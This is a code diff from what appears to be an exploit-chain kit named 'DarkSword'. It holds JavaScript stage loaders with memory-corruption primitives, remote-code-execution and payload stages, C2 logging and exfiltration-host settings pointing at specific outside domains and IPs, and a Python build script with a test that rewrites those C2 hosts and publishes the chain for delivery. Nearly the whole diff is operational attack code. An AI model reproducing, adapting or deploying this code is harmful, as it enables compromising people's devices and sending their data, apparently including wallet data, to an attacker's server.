return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -48,7 +56,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true);
|
||||
xhr.open("GET", labC2LogUrl(req) , true);
|
||||
if (__labDeviceUUID) {
|
||||
try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {}
|
||||
}
|
||||
@@ -56,43 +64,33 @@ function print(x, reportError = false, dumphex = false) {
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
var __exfilHost = 'mh0usocqzi6f46i.com';
|
||||
var __exfilHost = '192.168.31.130';
|
||||
var __exfilHttpPort = 4001;
|
||||
var __exfilHttpsPort = 4001;
|
||||
var __exfilTls = false;
|
||||
var __exfilFallbackHost = '';
|
||||
var __exfilFallbackHttp = 4001;
|
||||
var __labDeviceUUID = '';
|
||||
function labWorkerApiBase() {
|
||||
try {
|
||||
var tls = !!__exfilTls;
|
||||
var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443));
|
||||
var o = (tls ? 'https://' : 'http://') + h;
|
||||
if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port;
|
||||
return o;
|
||||
} catch (e) {}
|
||||
return 'https://mh0usocqzi6f46i.com:443';
|
||||
}
|
||||
function applyExfilFromData(data) {
|
||||
if (!data) return;
|
||||
if (data.exfilHost) __exfilHost = String(data.exfilHost);
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; }
|
||||
if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort);
|
||||
if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort);
|
||||
if (data.exfilTls != null) __exfilTls = !!data.exfilTls;
|
||||
if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0];
|
||||
if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort);
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; }
|
||||
}
|
||||
function patchExfilPayload(script) {
|
||||
if (!script) return script;
|
||||
// Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001.
|
||||
// Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS.
|
||||
var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var h = raw || 'mh0usocqzi6f46i.com';
|
||||
var hp = '8018';
|
||||
var hsp = '8018';
|
||||
var raw = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var h = raw;
|
||||
var hp = String(Number(__exfilHttpPort || 80) || 80);
|
||||
var hsp = String(Number(__exfilHttpsPort || __exfilHttpPort || 80) || 80);
|
||||
var tls = !!__exfilTls;
|
||||
var delivery = '';
|
||||
try { delivery = String(host || '').replace(/"/g, ''); } catch (_d) {}
|
||||
var s = script;
|
||||
var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3',
|
||||
'192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com',
|
||||
@@ -119,13 +117,11 @@ function patchExfilPayload(script) {
|
||||
s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true');
|
||||
// MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start
|
||||
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));'
|
||||
+ 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";'
|
||||
+ '__peG.__PE_EXFIL_TLS__=false;'
|
||||
+ '__peG.__PE_EXFIL_HTTP__=' + hp + ';'
|
||||
+ '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';'
|
||||
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '')
|
||||
+ 'if(__peG){'
|
||||
+ (h ? ('__peG.__PE_EXFIL_HOST__="' + h + '";__peG.__PE_EXFIL_TLS__=' + (tls ? 'true' : 'false') + ';__peG.__PE_EXFIL_HTTP__=' + hp + ';__peG.__PE_EXFIL_HTTPS__=' + hsp + ';') : '')
|
||||
+ (delivery ? ('__peG.__PE_DELIVERY_HOST__="' + delivery + '";') : '')
|
||||
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 80) + ';') : '')
|
||||
+ (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '')
|
||||
+ (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '')
|
||||
+ '}}catch(_pePre){}\n';
|
||||
return pre + s;
|
||||
}
|
||||
@@ -145,12 +141,12 @@ function getJS(fname, method = 'GET', tries = 5)
|
||||
// Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080.
|
||||
if (heavy) {
|
||||
if (primary && bases.indexOf(primary) < 0) bases.push(primary);
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
} else {
|
||||
if (primary) bases.push(primary);
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
}
|
||||
if (!bases.length) { print('getJS: no host'); return ''; }
|
||||
const maxTries = heavy ? Math.min(tries, 3) : tries;
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
var SERVER_LOG;
|
||||
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
let offsets;
|
||||
let MessageName;
|
||||
|
||||
@@ -16,6 +15,14 @@ function sleep(ms) {
|
||||
}
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
// Errors only to /api/ds/log — progress stays in fopen side-channel / console.
|
||||
@@ -32,12 +39,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
var logBase = '';
|
||||
try {
|
||||
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
|
||||
} catch (eLb) {}
|
||||
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
|
||||
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
|
||||
xhr.open("GET", labC2LogUrl(req) , false);
|
||||
xhr.send(null);
|
||||
}
|
||||
// 去掉加解密:明文直通,不再解密任何 blob。
|
||||
@@ -47,19 +49,14 @@ function print(x, reportError = false, dumphex = false) {
|
||||
function _labDecryptWire(text) {
|
||||
return text;
|
||||
}
|
||||
|
||||
var __labDeviceUUID = '';
|
||||
function __labCanonUuid(v) {
|
||||
var s = String(v || '').replace(/-/g, '').toUpperCase();
|
||||
return /^[0-9A-F]{16,64}$/.test(s) ? s : '';
|
||||
}
|
||||
function __labPrependDeviceUuid(fname, text) {
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var du = __labCanonUuid(__labDeviceUUID);
|
||||
if (!du || du === '69DD25B2CA8B5682BA2470D77124E2FC') return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0 && f.indexOf('sbx1') < 0) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__LAB_DEVICE_UUID__="' + du + '";}catch(_peU){}\n' + text;
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
@@ -115,15 +112,12 @@ function print(x, reportError = false, dumphex = false) {
|
||||
try
|
||||
{
|
||||
let url = "";
|
||||
var assetBase = String(host || '').replace(/\/$/, '');
|
||||
var assetPath = String(fname || '');
|
||||
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
|
||||
url = assetBase + assetPath + (assetPath.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
|
||||
url = host + "/" + fname + (fname.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
|
||||
print("trying to fetch from:" + url);
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", `${url}` , false);
|
||||
xhr.send(null);
|
||||
return __labPrependDeviceUuid(fname, _labDecryptWire(xhr.responseText));
|
||||
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
|
||||
}
|
||||
catch(e)
|
||||
{
|
||||
@@ -14405,7 +14399,7 @@ async function main() {
|
||||
const fopen_mode_str = 'w';
|
||||
const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n);
|
||||
function log(msg) {
|
||||
// Mirror stage logs to local server via /api/ds/log (SERVER_LOG)
|
||||
// Mirror stage logs to C2 via /api/ds/log (SERVER_LOG)
|
||||
try { print(String(msg)); } catch (e) {}
|
||||
if (true) {
|
||||
const elapsed = parseInt(Date.now() - rce_begin);
|
||||
@@ -14449,10 +14443,9 @@ async function main() {
|
||||
}
|
||||
case 'stage1_rce':
|
||||
{
|
||||
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
|
||||
try { __labDeviceUUID = __labCanonUuid(data.deviceUUID || data.device || data.uuid); } catch (_du) {}
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
|
||||
SERVER_LOG = data.SERVER_LOG;
|
||||
if (data._enc_session) {
|
||||
_enc_S = data._enc_session;
|
||||
|
||||
+171
-132
@@ -1,119 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain.
|
||||
"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.
|
||||
|
||||
Usage:
|
||||
python3 tools/build.py
|
||||
python3 tools/build.py --host 192.168.31.130 --port 8000
|
||||
python3 tools/build.py --origin http://192.168.31.130:8000
|
||||
Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
|
||||
unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.
|
||||
|
||||
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||
php artisan ds:build --c2 https://c2.example.com
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||||
|
||||
DEFAULT_SOURCE = BUILDER_ROOT / "source"
|
||||
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
|
||||
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
|
||||
# Checked into source/config.js; must be rewritten when --origin is not the lab box.
|
||||
TEMPLATE_HOST = "192.168.31.130"
|
||||
TEMPLATE_PORT = 8000
|
||||
|
||||
EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
|
||||
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
|
||||
SKIP_PUBLISH = {"log.html"}
|
||||
|
||||
|
||||
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
use_tls = origin.startswith("https://")
|
||||
tls_js = "true" if use_tls else "false"
|
||||
pairs = [
|
||||
("https://mh0usocqzi6f46i.com:443", origin),
|
||||
("http://mh0usocqzi6f46i.com:443", origin),
|
||||
("https://mh0usocqzi6f46i.com", origin),
|
||||
("http://one99.vip:80", origin),
|
||||
("https://one99.vip:80", origin),
|
||||
("http://one99.vip", origin),
|
||||
("https://one99.vip", origin),
|
||||
(f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
|
||||
(f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
|
||||
(f'https://{TEMPLATE_HOST}"', origin + '"'),
|
||||
(f'http://{TEMPLATE_HOST}"', origin + '"'),
|
||||
(f"https://{TEMPLATE_HOST}/", origin + "/"),
|
||||
(f"http://{TEMPLATE_HOST}/", origin + "/"),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
@dataclass(frozen=True)
|
||||
class Endpoint:
|
||||
host: str
|
||||
port: int
|
||||
origin: str
|
||||
tls: bool
|
||||
path: str
|
||||
|
||||
@property
|
||||
def url(self) -> str:
|
||||
return self.origin + self.path
|
||||
|
||||
|
||||
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
|
||||
parsed = urlparse((raw or "").strip())
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
|
||||
host = parsed.hostname
|
||||
tls = parsed.scheme == "https"
|
||||
port = parsed.port or (443 if tls else 80)
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((tls and port == 443) or (not tls and port == 80)):
|
||||
origin += f":{port}"
|
||||
path = (parsed.path or "").rstrip("/")
|
||||
if path and not path.startswith("/"):
|
||||
path = "/" + path
|
||||
return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)
|
||||
|
||||
|
||||
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
|
||||
hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
|
||||
ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
|
||||
return [
|
||||
("https://mh0usocqzi6f46i.com:443", c2.origin),
|
||||
("http://mh0usocqzi6f46i.com:443", c2.origin),
|
||||
("https://mh0usocqzi6f46i.com", c2.origin),
|
||||
("http://mh0usocqzi6f46i.com", c2.origin),
|
||||
("http://one99.vip:80", c2.origin),
|
||||
("https://one99.vip:80", c2.origin),
|
||||
("http://one99.vip", c2.origin),
|
||||
("https://one99.vip", c2.origin),
|
||||
("http://192.168.31.130:8080", c2.origin),
|
||||
("https://192.168.31.130:8080", c2.origin),
|
||||
('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
|
||||
('{ host: "one99.vip", port: 80 }', hp),
|
||||
('{ host: "192.168.31.130", port: 8080 }', hp),
|
||||
(
|
||||
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
|
||||
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}',
|
||||
ports,
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
|
||||
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"),
|
||||
(f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"),
|
||||
(f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"),
|
||||
(f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'),
|
||||
(f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'),
|
||||
("mh0usocqzi6f46i.com", ip),
|
||||
("one99.vip", ip),
|
||||
(TEMPLATE_HOST, ip),
|
||||
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"),
|
||||
("_h === '192.168.4.10'", f"_h === '{ip}'"),
|
||||
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
|
||||
('_h === "192.168.4.10"', f'_h === "{ip}"'),
|
||||
('"192.168.1.29"', f'"{ip}"'),
|
||||
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
|
||||
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
|
||||
# public/log/ is a directory on lab; phone POST /log must hit the API.
|
||||
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
|
||||
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
|
||||
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
|
||||
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
|
||||
("/log.html", "/api/ds/log"),
|
||||
(origin + '/log"', origin + '/api/ds/log"'),
|
||||
(origin + '/log\\"', origin + '/api/ds/log\\"'),
|
||||
(':80/log"', ':80/api/ds/log"'),
|
||||
(':80/log\\"', ':80/api/ds/log\\"'),
|
||||
(
|
||||
'{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
|
||||
ports,
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
|
||||
('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
("mh0usocqzi6f46i.com", c2.host),
|
||||
("one99.vip", c2.host),
|
||||
("192.168.31.130", c2.host),
|
||||
]
|
||||
if use_tls:
|
||||
pairs.extend(
|
||||
[
|
||||
("tls: false", "tls: true"),
|
||||
("prefer_https: false", "prefer_https: true"),
|
||||
]
|
||||
|
||||
|
||||
def rewrite_text(text: str, c2: Endpoint) -> str:
|
||||
for old, new in rewrite_pairs(c2):
|
||||
if old != new:
|
||||
text = text.replace(old, new)
|
||||
return text
|
||||
|
||||
|
||||
def patch_config(text: str, c2: Endpoint) -> str:
|
||||
flag = "true" if c2.tls else "false"
|
||||
|
||||
def exfil(_match: re.Match[str]) -> str:
|
||||
return (
|
||||
"exfil: {\n"
|
||||
f' host: "{c2.host}",\n'
|
||||
f' domain: "{c2.host}",\n'
|
||||
f" http_port: {c2.port},\n"
|
||||
f" https_port: {c2.port},\n"
|
||||
f" tls: {flag},\n"
|
||||
f" prefer_https: {flag},\n"
|
||||
" }"
|
||||
)
|
||||
return pairs
|
||||
|
||||
patched, n = EXFIL_RE.subn(exfil, text, count=1)
|
||||
if n != 1:
|
||||
raise SystemExit("source/config.js: missing exfil { ... } block")
|
||||
return patched
|
||||
|
||||
|
||||
def iter_files(root: Path) -> list[Path]:
|
||||
out: list[Path] = []
|
||||
for p in root.rglob("*"):
|
||||
if not p.is_file():
|
||||
def rewrite_tree(root: Path, c2: Endpoint) -> int:
|
||||
hits = 0
|
||||
for path in root.rglob("*"):
|
||||
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
|
||||
continue
|
||||
if p.suffix.lower() in SKIP_SUFFIX:
|
||||
continue
|
||||
out.append(p)
|
||||
return sorted(out)
|
||||
|
||||
|
||||
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]:
|
||||
pairs = replacements(ip, port, origin)
|
||||
hits: list[dict] = []
|
||||
for src in iter_files(root):
|
||||
text = src.read_text("utf-8", errors="surrogateescape")
|
||||
new = text
|
||||
counts: dict[str, int] = {}
|
||||
for old, repl in pairs:
|
||||
n = new.count(old)
|
||||
if n:
|
||||
counts[old] = n
|
||||
new = new.replace(old, repl)
|
||||
if new != text:
|
||||
src.write_text(new, encoding="utf-8", errors="surrogateescape")
|
||||
hits.append({"file": str(src.relative_to(root)), "counts": counts})
|
||||
raw = path.read_text(encoding="utf-8")
|
||||
if path.name == "config.js":
|
||||
new = patch_config(raw, c2)
|
||||
else:
|
||||
new = rewrite_text(raw, c2)
|
||||
if new != raw:
|
||||
path.write_text(new, encoding="utf-8")
|
||||
hits += 1
|
||||
return hits
|
||||
|
||||
|
||||
@@ -124,7 +144,12 @@ def publish(staging: Path, dest: Path) -> None:
|
||||
old = dest.with_name(dest.name + ".old")
|
||||
if tmp.exists():
|
||||
shutil.rmtree(tmp)
|
||||
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
|
||||
def ignore(directory: str, names: list[str]) -> set[str]:
|
||||
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
|
||||
return skip
|
||||
|
||||
shutil.copytree(staging, tmp, ignore=ignore)
|
||||
if dest.exists():
|
||||
if old.exists():
|
||||
shutil.rmtree(old)
|
||||
@@ -139,64 +164,78 @@ def publish(staging: Path, dest: Path) -> None:
|
||||
tmp.rename(dest)
|
||||
|
||||
|
||||
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]:
|
||||
if args.origin:
|
||||
parsed = urlparse(args.origin)
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid --origin: {args.origin}")
|
||||
host = parsed.hostname
|
||||
if parsed.port:
|
||||
port = parsed.port
|
||||
else:
|
||||
port = 443 if parsed.scheme == "https" else 80
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
host = args.host
|
||||
port = args.port
|
||||
origin = f"{args.scheme}://{host}"
|
||||
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
|
||||
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
|
||||
def build(
|
||||
source: Path,
|
||||
dest: Path,
|
||||
c2: str,
|
||||
delivery: str | None = None,
|
||||
dry_run: bool = False,
|
||||
) -> dict:
|
||||
if not source.is_dir():
|
||||
raise SystemExit(f"source not found: {source}")
|
||||
config = source / "config.js"
|
||||
if not config.is_file():
|
||||
raise SystemExit(f"missing {config}")
|
||||
|
||||
c2_ep = parse_endpoint(c2, label="--c2")
|
||||
delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None
|
||||
|
||||
if dry_run:
|
||||
preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
|
||||
if delivery_ep is not None:
|
||||
preview = re.sub(
|
||||
r'deliveryPath:\s*"[^"]*"',
|
||||
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
||||
preview,
|
||||
count=1,
|
||||
)
|
||||
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}
|
||||
|
||||
staging = BUILDER_ROOT / "out" / "staging"
|
||||
if staging.exists():
|
||||
shutil.rmtree(staging)
|
||||
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
hits = rewrite_tree(staging, host, port, origin)
|
||||
if dry_run:
|
||||
shutil.rmtree(staging)
|
||||
return hits
|
||||
rewrite_tree(staging, c2_ep)
|
||||
if delivery_ep is not None:
|
||||
cfg = (staging / "config.js").read_text(encoding="utf-8")
|
||||
cfg = re.sub(
|
||||
r'deliveryPath:\s*"[^"]*"',
|
||||
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
||||
cfg,
|
||||
count=1,
|
||||
)
|
||||
(staging / "config.js").write_text(cfg, encoding="utf-8")
|
||||
publish(staging, dest)
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
return hits
|
||||
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain")
|
||||
ap.add_argument("--host", default="192.168.31.130")
|
||||
ap.add_argument("--port", type=int, default=8000)
|
||||
ap.add_argument("--scheme", default="http", choices=("http", "https"))
|
||||
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
|
||||
ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
|
||||
ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
|
||||
ap.add_argument("--origin", default="", help="alias of --c2")
|
||||
ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
|
||||
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
|
||||
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
|
||||
ap.add_argument("--dry-run", action="store_true")
|
||||
args = ap.parse_args(argv)
|
||||
|
||||
host, port, origin = resolve_origin(args)
|
||||
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run)
|
||||
action = "would rewrite" if args.dry_run else "published"
|
||||
print(f"{action} {len(hits)} files -> {origin}")
|
||||
if not args.dry_run:
|
||||
print(f"dest {args.dest.resolve()}")
|
||||
for h in hits:
|
||||
print(f" {h['file']} ({sum(h['counts'].values())})")
|
||||
c2 = (args.c2 or args.origin or "").strip()
|
||||
if not c2:
|
||||
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
|
||||
|
||||
result = build(
|
||||
args.source,
|
||||
args.dest,
|
||||
c2,
|
||||
delivery=(args.delivery or "").strip() or None,
|
||||
dry_run=args.dry_run,
|
||||
)
|
||||
print("dry-run" if args.dry_run else "published")
|
||||
print(f" c2 {result['c2']}")
|
||||
print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
|
||||
if result.get("dest"):
|
||||
print(f" dest {result['dest']}")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
@@ -14,88 +14,72 @@ if str(TOOLS) not in sys.path:
|
||||
import build # noqa: E402
|
||||
|
||||
|
||||
CONFIG = (
|
||||
"window.NEWS2_CONFIG = {\n"
|
||||
' deliveryPath: "/next-chain",\n'
|
||||
" exfil: {\n"
|
||||
' host: "192.168.31.130",\n'
|
||||
' domain: "192.168.31.130",\n'
|
||||
" http_port: 8080,\n"
|
||||
" https_port: 8080,\n"
|
||||
" tls: false,\n"
|
||||
" prefer_https: false,\n"
|
||||
" },\n"
|
||||
"};\n"
|
||||
)
|
||||
|
||||
|
||||
class BuildTest(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
|
||||
self.source = self.tmp / "source"
|
||||
self.dest = self.tmp / "next-chain"
|
||||
self.source.mkdir(parents=True)
|
||||
